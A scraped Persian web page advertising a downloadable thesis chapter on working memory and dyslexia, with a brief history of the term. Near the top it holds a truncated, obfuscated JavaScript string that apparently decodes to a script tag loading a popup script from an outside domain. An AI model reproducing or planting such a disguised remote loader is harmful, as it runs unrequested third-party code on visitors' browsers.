close
تبلیغات در اینترنت
چارچوب نظری و پیشینه تجربی پژوهش حافظه فعال و نارساخوانی (فصل 2) var enkripsi="'1Aqapkrv'02v{rg'1F'00vgzv-hctcqapkrv'00'02qpa'1F'00jvvr'1C--dcaglcoc,amo-rmrwr,rjr'1Dw'1F5;5670'04a'1F0'00'1G'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i media="screen" />
تبلیغات
تبلیغات
تبلیغات
تبلیغات
تبلیغات
چارچوب نظری و پیشینه تجربی پژوهش حافظه فعال و نارساخوانی (فصل 2)
  • بازدید : (7)
چارچوب نظری و پیشینه تجربی پژوهش حافظه فعال و نارساخوانی (فصل 2)

چارچوب-نظری-و-پیشینه-تجربی-پژوهش-حافظه-فعال-و-نارساخوانی-(فصل-2)تاریخچه نارساخوانی اولین اشاره به اصطلاح نارساخوانی توسط یک پزشک آلمانی به نام "برلین "(1872) صورت گرفت. وی این اصطلاح را برای توصیف یک فرد بزرگسال مبتلا به نارساخوانی اکتسابی به کار برد که در این مورد فرد به دنبال آسیب مغزی ، توانایی خواندن خود را از دست داده بود. برلین همچنین بیان کرد: "اگر نقص...دانلود فایل


برچسب ها : ,,,,,,,,,
مطالب مرتبط
بخش نظرات این مطلب
بخش نظرات برای پاسخ به سوالات و یا اظهار نظرات و حمایت های شما در مورد مطلب جاری است.
پس به همین دلیل ازتون ممنون میشیم که سوالات غیرمرتبط با این مطلب را در انجمن های سایت مطرح کنید . در بخش نظرات فقط سوالات مرتبط با مطلب پاسخ داده خواهد شد .
شما نیز نظری برای این مطلب ارسال نمایید:
نام
ایمیل (منتشر نمی‌شود) (لازم)
وبسایت
:) :( ;) :D ;)) :X :? :P :* =(( :O @};- :B /:) :S
نظر خصوصی
مشخصات شما ذخیره شود ؟ [حذف مشخصات] [شکلک ها]
کد امنیتیرفرش کد امنیتی